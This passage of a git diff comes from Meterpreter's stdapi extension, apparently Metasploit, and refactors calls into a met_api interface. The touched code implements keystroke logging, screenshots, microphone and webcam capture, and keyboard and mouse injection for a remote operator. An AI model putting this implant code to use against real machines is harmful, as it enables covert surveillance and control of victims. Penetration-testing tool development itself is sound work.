TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER); + DllBuffer.dwPE32DllLenght = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH); + DllBuffer.lpPE32DllBuffer = met_api->packet.get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER); - DllBuffer.dwPE64DllLenght = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH); - DllBuffer.lpPE64DllBuffer = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER); + DllBuffer.dwPE64DllLenght = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH); + DllBuffer.lpPE64DllBuffer = met_api->packet.get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER); if (!DllBuffer.lpPE32DllBuffer && !DllBuffer.lpPE64DllBuffer) { @@ -456,15 +457,15 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) dprintf("[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine); // start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot. - pPipeThread = thread_create(desktop_screenshot_thread, &cNamedPipe, response, NULL); + pPipeThread = met_api->thread.create(desktop_screenshot_thread, &cNamedPipe, response, NULL); if (!pPipeThread) { - BREAK_WITH_ERROR("[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_screenshot. met_api->thread.create failed", ERROR_INVALID_HANDLE); } - if (!thread_run(pPipeThread)) + if (!met_api->thread.run(pPipeThread)) { - BREAK_WITH_ERROR("[UI] desktop_screenshot. thread_run failed", ERROR_ACCESS_DENIED); + BREAK_WITH_ERROR("[UI] desktop_screenshot. met_api->thread.run failed", ERROR_ACCESS_DENIED); } Sleep(500); @@ -493,10 +494,10 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) WaitForSingleObject(pPipeThread->handle, 30000); // signal our thread to terminate if it is still running. - thread_sigterm(pPipeThread); + met_api->thread.sigterm(pPipeThread); // and wait for it to terminate... - thread_join(pPipeThread); + met_api->thread.join(pPipeThread); // get the exit code for our pthread if (!GetExitCodeThread(pPipeThread->handle, &dwResult)) @@ -508,14 +509,14 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } if (pPipeThread) { - thread_sigterm(pPipeThread); - thread_join(pPipeThread); - thread_destroy(pPipeThread); + met_api->thread.sigterm(pPipeThread); + met_api->thread.join(pPipeThread); + met_api->thread.destroy(pPipeThread); } return dwResult; diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/idle.c b/c/meterpreter/source/extensions/stdapi/server/ui/idle.c index b3b3446b..990482da 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/idle.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/idle.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" /* #ifdef _WIN64 @@ -18,7 +19,7 @@ DWORD request_ui_get_idle_time(Remote *remote, Packet *request) { LASTINPUTINFO info; HMODULE user32 = NULL; - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; BOOL (WINAPI *getLastInputInfo)(PLASTINPUTINFO) = NULL; @@ -42,7 +43,7 @@ DWORD request_ui_get_idle_time(Remote *remote, Packet *request) info.cbSize = sizeof(info); if (getLastInputInfo(&info)) - packet_add_tlv_uint(response, TLV_TYPE_IDLE_TIME, + met_api->packet.add_tlv_uint(response, TLV_TYPE_IDLE_TIME, (GetTickCount() - info.dwTime) / 1000); else result = GetLastError(); @@ -54,7 +55,7 @@ DWORD request_ui_get_idle_time(Remote *remote, Packet *request) FreeLibrary(user32); // Transmit the response packet - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c index a1d26862..aea08af8 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "keyboard.h" #include #include @@ -17,11 +18,11 @@ INT ui_resolve_raw_api(); DWORD request_ui_enable_keyboard(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); BOOLEAN enable = FALSE; DWORD result = ERROR_SUCCESS; - enable = packet_get_tlv_value_bool(request, TLV_TYPE_BOOL); + enable = met_api->packet.get_tlv_value_bool(request, TLV_TYPE_BOOL); // If there's no hook library loaded yet if (!hookLibrary) @@ -40,7 +41,7 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -234,10 +235,10 @@ LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM l DWORD request_ui_start_keyscan(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; - bool track_active_window = packet_get_tlv_value_bool(request, TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW); + bool track_active_window = met_api->packet.get_tlv_value_bool(request, TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW); // set appropriate logging function (track_active_window == true) ? (gfn_log_key = &ui_log_key_actwin) : (gfn_log_key = &ui_log_key); @@ -266,7 +267,7 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -277,7 +278,7 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request) DWORD request_ui_stop_keyscan(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; if (tKeyScan) { @@ -291,7 +292,7 @@ DWORD request_ui_stop_keyscan(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -301,12 +302,12 @@ DWORD request_ui_stop_keyscan(Remote *remote, Packet *request) DWORD request_ui_get_keys(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; if (tKeyScan) { // This works because NULL defines the end of data (or if its wrapped, the whole buffer) - packet_add_tlv_string(response, TLV_TYPE_KEYS_DUMP, (LPCSTR)g_keyscan_buf); + met_api->packet.add_tlv_string(response, TLV_TYPE_KEYS_DUMP, (LPCSTR)g_keyscan_buf); memset(g_keyscan_buf, 0, KEYBUFSIZE); g_idx = 0; } @@ -315,7 +316,7 @@ DWORD request_ui_get_keys(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -325,13 +326,13 @@ DWORD request_ui_get_keys(Remote *remote, Packet *request) DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; char *utf8_keyscan_buf = NULL; if (tKeyScan) { - utf8_keyscan_buf = wchar_to_utf8(g_keyscan_buf); - packet_add_tlv_raw(response, TLV_TYPE_KEYS_DUMP, (LPVOID)utf8_keyscan_buf, + utf8_keyscan_buf = met_api->string.wchar_to_utf8(g_keyscan_buf); + met_api->packet.add_tlv_raw(response, TLV_TYPE_KEYS_DUMP, (LPVOID)utf8_keyscan_buf, (DWORD)strlen(utf8_keyscan_buf) + 1); memset(g_keyscan_buf, 0, KEYBUFSIZE); @@ -345,7 +346,7 @@ DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); free(utf8_keyscan_buf); return ERROR_SUCCESS; } @@ -356,9 +357,9 @@ DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request) DWORD request_ui_send_keys(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; - wchar_t *keys = utf8_to_wchar(packet_get_tlv_value_string(request, TLV_TYPE_KEYS_SEND)); + wchar_t *keys = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(request, TLV_TYPE_KEYS_SEND)); if (keys) { INPUT input[2] = {0}; @@ -388,7 +389,7 @@ DWORD request_ui_send_keys(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -410,11 +411,11 @@ void ui_send_key(WORD keycode, DWORD flags) DWORD request_ui_send_keyevent(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; Tlv data; - if ((packet_get_tlv(packet, TLV_TYPE_KEYEVENT_SEND, &data)) == ERROR_SUCCESS) + if ((met_api->packet.get_tlv(packet, TLV_TYPE_KEYEVENT_SEND, &data)) == ERROR_SUCCESS) { for (unsigned int i=0;ipacket.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c b/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c index d12e77f4..66f74ebf 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" extern HMODULE hookLibrary; @@ -7,11 +8,11 @@ extern HMODULE hookLibrary; */ DWORD request_ui_enable_mouse(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); BOOLEAN enable = FALSE; DWORD result = ERROR_SUCCESS; - enable = packet_get_tlv_value_bool(request, TLV_TYPE_BOOL); + enable = met_api->packet.get_tlv_value_bool(request, TLV_TYPE_BOOL); // If there's no hook library loaded yet if (!hookLibrary) @@ -30,7 +31,7 @@ DWORD request_ui_enable_mouse(Remote *remote, Packet *request) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -42,12 +43,12 @@ DWORD request_ui_enable_mouse(Remote *remote, Packet *request) DWORD request_ui_send_mouse(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; - DWORD action = packet_get_tlv_value_uint(request, TLV_TYPE_MOUSE_ACTION); - DWORD x = packet_get_tlv_value_uint(request, TLV_TYPE_MOUSE_X); - DWORD y = packet_get_tlv_value_uint(request, TLV_TYPE_MOUSE_Y); + DWORD action = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_MOUSE_ACTION); + DWORD x = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_MOUSE_X); + DWORD y = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_MOUSE_Y); INPUT input = {0}; input.type = INPUT_MOUSE; @@ -121,7 +122,7 @@ DWORD request_ui_send_mouse(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c b/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c index 11341533..4bd3a886 100644 --- a/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c +++ b/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c @@ -1,5 +1,6 @@ #pragma comment(lib, "Winmm.lib") #include "precomp.h" +#include "common_metapi.h" #include #include "../../common/common.h" #include "audio.h" @@ -40,10 +41,10 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) HWAVEIN hWavIn; WAVEHDR wh; - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - dprintf("request_ui_record_mic: packet_create_response failed"); + dprintf("request_ui_record_mic: met_api->packet.create_response failed"); dwResult = ERROR_INVALID_HANDLE; goto out; } @@ -51,7 +52,7 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) /* * Get duration to record, and reallocate if necessary */ - seconds = packet_get_tlv_value_uint(request, TLV_TYPE_AUDIO_DURATION); + seconds = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_AUDIO_DURATION); if (buffersize == 0 || buffersize != 11025 * seconds) { buffersize = 11025 * seconds; riffsize = buffersize + 44; @@ -144,9 +145,9 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) goto out; } - packet_add_tlv_raw(response, + met_api->packet.add_tlv_raw(response, (TLV_TYPE_AUDIO_DATA | TLV_META_TYPE_COMPRESSED), sendBuffer, riffsize); out: - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp b/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp index 51cf8ebf..5fe10579 100644 --- a/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp +++ b/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp @@ -19,6 +19,7 @@ extern "C" { #include "../../common/common.h" #include "webcam.h" #include "bmp2jpeg.h" +#include "common_metapi.h" } //Required interface stuff - bad hack for qedit.h not being present/compatible with later windows versions @@ -435,7 +436,7 @@ DWORD webcam_get_frame(WebcamThreadState* state) bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize); //And send - packet_add_tlv_raw(state->pResponse, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize); + met_api->packet.add_tlv_raw(state->pResponse, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize); } while (0); PBYTE tmparray = jpgarray; @@ -473,14 +474,14 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) // let the caller know that we've initialised state->dwResult = dwResult; - event_signal(state->pResultEvent); + met_api->event.signal(state->pResultEvent); do { dprintf("[WEBCAM] Thread now running, waiting for a signal"); // wait for the next call - if (!event_poll(state->pCallEvent, -1)) { + if (!met_api->event.poll(state->pCallEvent, -1)) { BREAK_WITH_ERROR("[WEBCAM] Failed to receive a signal from the caller", ERROR_TIMEOUT); } @@ -494,7 +495,7 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) case GetCameraFrame: dprintf("[WEBCAM] GetCameraFrame called."); dwResult = webcam_get_frame(state); - event_signal(state->pResultEvent); + met_api->event.signal(state->pResultEvent); break; default: dprintf("[WEBCAM] Unexpected action %u", (DWORD)state->controlAction); @@ -542,7 +543,7 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) state->dwResult = dwResult; // signal that the thread is finishing - event_signal(state->pResultEvent); + met_api->event.signal(state->pResultEvent); dprintf("[WEBCAM] Exit."); @@ -551,264 +552,264 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) extern "C" { -/*! - * @brief Handle the request for a list of available webcams. - * @param remote Pointer to the \c Remote making the request. - * @param packet Pointer to the request \c Packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Operation completed as expected. - * @todo Make this use `packet_add_tlv_wstring` when it has been merged. - */ -DWORD request_webcam_list(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); - DWORD dwResult = ERROR_SUCCESS; + /*! + * @brief Handle the request for a list of available webcams. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Operation completed as expected. + * @todo Make this use `packet_add_tlv_wstring` when it has been merged. + */ + DWORD request_webcam_list(Remote* remote, Packet* packet) { + Packet* response = met_api->packet.create_response(packet); + DWORD dwResult = ERROR_SUCCESS; - do{ - IEnumMoniker* pclassEnum = NULL; - ICreateDevEnum* pdevEnum = NULL; + do { + IEnumMoniker* pclassEnum = NULL; + ICreateDevEnum* pdevEnum = NULL; - CoInitialize(NULL); - HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, - NULL, - CLSCTX_INPROC, - IID_ICreateDevEnum, - (LPVOID*)&pdevEnum); - - if (SUCCEEDED(hr)) { - hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); - } - - if (pdevEnum != NULL) { - pdevEnum->Release(); - pdevEnum = NULL; - } - - int nCount = 0; - if (pclassEnum == NULL) { - break;// Error! - } - - IMoniker* apIMoniker[1]; - ULONG ulCount = 0; - while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK) { - IPropertyBag *pPropBag; - hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pPropBag); + CoInitialize(NULL); + HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, + NULL, + CLSCTX_INPROC, + IID_ICreateDevEnum, + (LPVOID*)&pdevEnum); if (SUCCEEDED(hr)) { - // To retrieve the filter's friendly name, do the following: - VARIANT varName; - VariantInit(&varName); - hr = pPropBag->Read(L"FriendlyName", &varName, 0); - - if (SUCCEEDED(hr) && varName.vt == VT_BSTR) { - //TODO: make this use the new `packet_add_tlv_wstring` when it has been merged. - //get chars from wchars - size_t converted; - char charbuf[512]; - wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf)); - packet_add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf); - } - - VariantClear(&varName); - pPropBag->Release(); - - nCount++; + hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); } - } - pclassEnum->Release(); - } while (0); - - dwResult = GetLastError(); - - packet_transmit_response(dwResult, remote, response); - - CoUninitialize(); - return dwResult; -} - -/*! - * @brief Handle the request to start a given webcam. - * @param remote Pointer to the \c Remote making the request. - * @param packet Pointer to the request \c Packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Operation completed as expected. - * @remark This will start a webcam controller thread. From there the - * lifetime of the webcam is managed. - * @sa webcam_control_thread - */ -DWORD request_webcam_start(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD dwResult = ERROR_SUCCESS; - UINT index = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID); - - dprintf("[WEBCAM] Entry."); - - do - { - // If we have a thread running, then this means the webcam capture is already running too. - if (g_pWorkerThread != NULL) { - BREAK_WITH_ERROR("[WEBCAM] Already running!", ERROR_SERVICE_ALREADY_RUNNING); - } - - g_pThreadState = (WebcamThreadState*)malloc(sizeof(WebcamThreadState)); - - if (g_pThreadState == NULL) { - BREAK_WITH_ERROR("[WEBCAM] Out of memory", ERROR_OUTOFMEMORY); - } - - ZeroMemory(g_pThreadState, sizeof(WebcamThreadState)); - - // create a wait event and indicate we're expecting a response from the call - g_pThreadState->pCallEvent = event_create(); - g_pThreadState->pResultEvent = event_create(); - g_pThreadState->index = index; - - // kick off the worker thread that will do all the cam handling on one thread to avoid - // cross-threaded COM problems. - g_pWorkerThread = thread_create(webcam_control_thread, g_pThreadState, NULL, NULL); - - if (g_pWorkerThread == NULL) { - BREAK_WITH_ERROR("[WEBCAM] Failed to create thread.", ERROR_THREAD_1_INACTIVE); - } - - if (thread_run(g_pWorkerThread) == FALSE) { - BREAK_WITH_ERROR("[WEBCAM] Failed to run worker thread", ERROR_CAN_NOT_COMPLETE); - } - - // now wait for a signal to say that we've got things running - if (event_poll(g_pThreadState->pResultEvent, 4000) == FALSE) { - BREAK_WITH_ERROR("[WEBCAM] Failed to initialise worker thread", ERROR_WAIT_1); - } - - dprintf("[WEBCAM] Webcam thread has been initialised"); - dwResult = g_pThreadState->dwResult; - } while (0); - - packet_transmit_response(dwResult, remote, response); - - if (dwResult != ERROR_SUCCESS) { - dprintf("[WEBCAM] Failure found, cleaning up"); - if (g_pWorkerThread != NULL) { - if (g_pThreadState != NULL) { - if (g_pThreadState->bRunning) { - thread_kill(g_pWorkerThread); - } - - thread_destroy(g_pWorkerThread); - g_pWorkerThread = NULL; - - if (g_pThreadState->pCallEvent != NULL) { - event_destroy(g_pThreadState->pCallEvent); - } - if (g_pThreadState->pResultEvent != NULL) { - event_destroy(g_pThreadState->pResultEvent); - } - - free(g_pThreadState); - g_pThreadState = NULL; + if (pdevEnum != NULL) { + pdevEnum->Release(); + pdevEnum = NULL; } - } + + int nCount = 0; + if (pclassEnum == NULL) { + break;// Error! + } + + IMoniker* apIMoniker[1]; + ULONG ulCount = 0; + while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK) { + IPropertyBag* pPropBag; + hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void**)&pPropBag); + + if (SUCCEEDED(hr)) { + // To retrieve the filter's friendly name, do the following: + VARIANT varName; + VariantInit(&varName); + hr = pPropBag->Read(L"FriendlyName", &varName, 0); + + if (SUCCEEDED(hr) && varName.vt == VT_BSTR) { + //TODO: make this use the new `packet_add_tlv_wstring` when it has been merged. + //get chars from wchars + size_t converted; + char charbuf[512]; + wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf)); + met_api->packet.add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf); + } + + VariantClear(&varName); + pPropBag->Release(); + + nCount++; + } + } + + pclassEnum->Release(); + } while (0); + + dwResult = GetLastError(); + + met_api->packet.transmit_response(dwResult, remote, response); + + CoUninitialize(); + return dwResult; } - dprintf("[WEBCAM] Exit."); - - return dwResult; -} - -/*! - * @brief Handle the request to grab a frame from the running webcam. - * @param remote Pointer to the \c Remote making the request. - * @param packet Pointer to the request \c Packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Operation completed as expected. - * @remark This will interact with the control thread to grab a frame - * from the current running camera. - * @sa webcam_control_thread - */ -DWORD request_webcam_get_frame(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - UINT quality = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY); - DWORD dwResult = ERROR_SUCCESS; - - dprintf("[WEBCAM] Entry."); - - do + /*! + * @brief Handle the request to start a given webcam. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Operation completed as expected. + * @remark This will start a webcam controller thread. From there the + * lifetime of the webcam is managed. + * @sa webcam_control_thread + */ + DWORD request_webcam_start(Remote* remote, Packet* packet) { - if (g_pWorkerThread == NULL) { - BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); + Packet* response = met_api->packet.create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + UINT index = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID); + + dprintf("[WEBCAM] Entry."); + + do + { + // If we have a thread running, then this means the webcam capture is already running too. + if (g_pWorkerThread != NULL) { + BREAK_WITH_ERROR("[WEBCAM] Already running!", ERROR_SERVICE_ALREADY_RUNNING); + } + + g_pThreadState = (WebcamThreadState*)malloc(sizeof(WebcamThreadState)); + + if (g_pThreadState == NULL) { + BREAK_WITH_ERROR("[WEBCAM] Out of memory", ERROR_OUTOFMEMORY); + } + + ZeroMemory(g_pThreadState, sizeof(WebcamThreadState)); + + // create a wait event and indicate we're expecting a response from the call + g_pThreadState->pCallEvent = met_api->event.create(); + g_pThreadState->pResultEvent = met_api->event.create(); + g_pThreadState->index = index; + + // kick off the worker thread that will do all the cam handling on one thread to avoid + // cross-threaded COM problems. + g_pWorkerThread = met_api->thread.create(webcam_control_thread, g_pThreadState, NULL, NULL); + + if (g_pWorkerThread == NULL) { + BREAK_WITH_ERROR("[WEBCAM] Failed to create thread.", ERROR_THREAD_1_INACTIVE); + } + + if (met_api->thread.run(g_pWorkerThread) == FALSE) { + BREAK_WITH_ERROR("[WEBCAM] Failed to run worker thread", ERROR_CAN_NOT_COMPLETE); + } + + // now wait for a signal to say that we've got things running + if (met_api->event.poll(g_pThreadState->pResultEvent, 4000) == FALSE) { + BREAK_WITH_ERROR("[WEBCAM] Failed to initialise worker thread", ERROR_WAIT_1); + } + + dprintf("[WEBCAM] Webcam thread has been initialised"); + dwResult = g_pThreadState->dwResult; + } while (0); + + met_api->packet.transmit_response(dwResult, remote, response); + + if (dwResult != ERROR_SUCCESS) { + dprintf("[WEBCAM] Failure found, cleaning up"); + if (g_pWorkerThread != NULL) { + if (g_pThreadState != NULL) { + if (g_pThreadState->bRunning) { + met_api->thread.kill(g_pWorkerThread); + } + + met_api->thread.destroy(g_pWorkerThread); + g_pWorkerThread = NULL; + + if (g_pThreadState->pCallEvent != NULL) { + met_api->event.destroy(g_pThreadState->pCallEvent); + } + if (g_pThreadState->pResultEvent != NULL) { + met_api->event.destroy(g_pThreadState->pResultEvent); + } + + free(g_pThreadState); + g_pThreadState = NULL; + } + } } - // set up the thread call - g_pThreadState->pResponse = response; - g_pThreadState->frameQuality = quality; - g_pThreadState->controlAction = GetCameraFrame; + dprintf("[WEBCAM] Exit."); - // invoke and wait - event_signal(g_pThreadState->pCallEvent); + return dwResult; + } - if (event_poll(g_pThreadState->pResultEvent, 5000) == FALSE) { - BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); - } - - // the handler thread should have added data to the packet to return to the caller, so off we go! - dwResult = g_pThreadState->dwResult; - } while (0); - - packet_transmit_response(dwResult, remote, response); - - dprintf("[WEBCAM] Exit."); - return dwResult; -} - -/*! - * @brief Handle the request to stop the webcam. - * @param remote Pointer to the \c Remote making the request. - * @param packet Pointer to the request \c Packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Operation completed as expected. - * @remark This will interact with the control thread and tell it - * to terminate after turning off the camera. - * @sa webcam_control_thread - */ -DWORD request_webcam_stop(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); - DWORD dwResult = ERROR_SUCCESS; - - dprintf("[WEBCAM] Entry."); - do + /*! + * @brief Handle the request to grab a frame from the running webcam. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Operation completed as expected. + * @remark This will interact with the control thread to grab a frame + * from the current running camera. + * @sa webcam_control_thread + */ + DWORD request_webcam_get_frame(Remote* remote, Packet* packet) { - if (g_pWorkerThread == NULL) { - BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); - } + Packet* response = met_api->packet.create_response(packet); + UINT quality = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY); + DWORD dwResult = ERROR_SUCCESS; - // set up the thread call - g_pThreadState->controlAction = StopCamera; + dprintf("[WEBCAM] Entry."); - // invoke and wait - event_signal(g_pThreadState->pCallEvent); + do + { + if (g_pWorkerThread == NULL) { + BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); + } - if (event_poll(g_pThreadState->pResultEvent, 5000) == FALSE) { - BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); - } + // set up the thread call + g_pThreadState->pResponse = response; + g_pThreadState->frameQuality = quality; + g_pThreadState->controlAction = GetCameraFrame; - // the handler thread should have added data to the packet to return to the caller, so off we go! - dwResult = g_pThreadState->dwResult; - } while (0); + // invoke and wait + met_api->event.signal(g_pThreadState->pCallEvent); - packet_transmit_response(dwResult, remote, response); + if (met_api->event.poll(g_pThreadState->pResultEvent, 5000) == FALSE) { + BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); + } - event_destroy(g_pThreadState->pCallEvent); - event_destroy(g_pThreadState->pResultEvent); - free(g_pThreadState); - g_pThreadState = NULL; + // the handler thread should have added data to the packet to return to the caller, so off we go! + dwResult = g_pThreadState->dwResult; + } while (0); - thread_destroy(g_pWorkerThread); - g_pWorkerThread = NULL; + met_api->packet.transmit_response(dwResult, remote, response); - dprintf("[WEBCAM] Exit."); - return dwResult; -} + dprintf("[WEBCAM] Exit."); + return dwResult; + } + + /*! + * @brief Handle the request to stop the webcam. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Operation completed as expected. + * @remark This will interact with the control thread and tell it + * to terminate after turning off the camera. + * @sa webcam_control_thread + */ + DWORD request_webcam_stop(Remote* remote, Packet* packet) { + Packet* response = met_api->packet.create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + + dprintf("[WEBCAM] Entry."); + do + { + if (g_pWorkerThread == NULL) { + BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); + } + + // set up the thread call + g_pThreadState->controlAction = StopCamera; + + // invoke and wait + met_api->event.signal(g_pThreadState->pCallEvent); + + if (met_api->event.poll(g_pThreadState->pResultEvent, 5000) == FALSE) { + BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); + } + + // the handler thread should have added data to the packet to return to the caller, so off we go! + dwResult = g_pThreadState->dwResult; + } while (0); + + 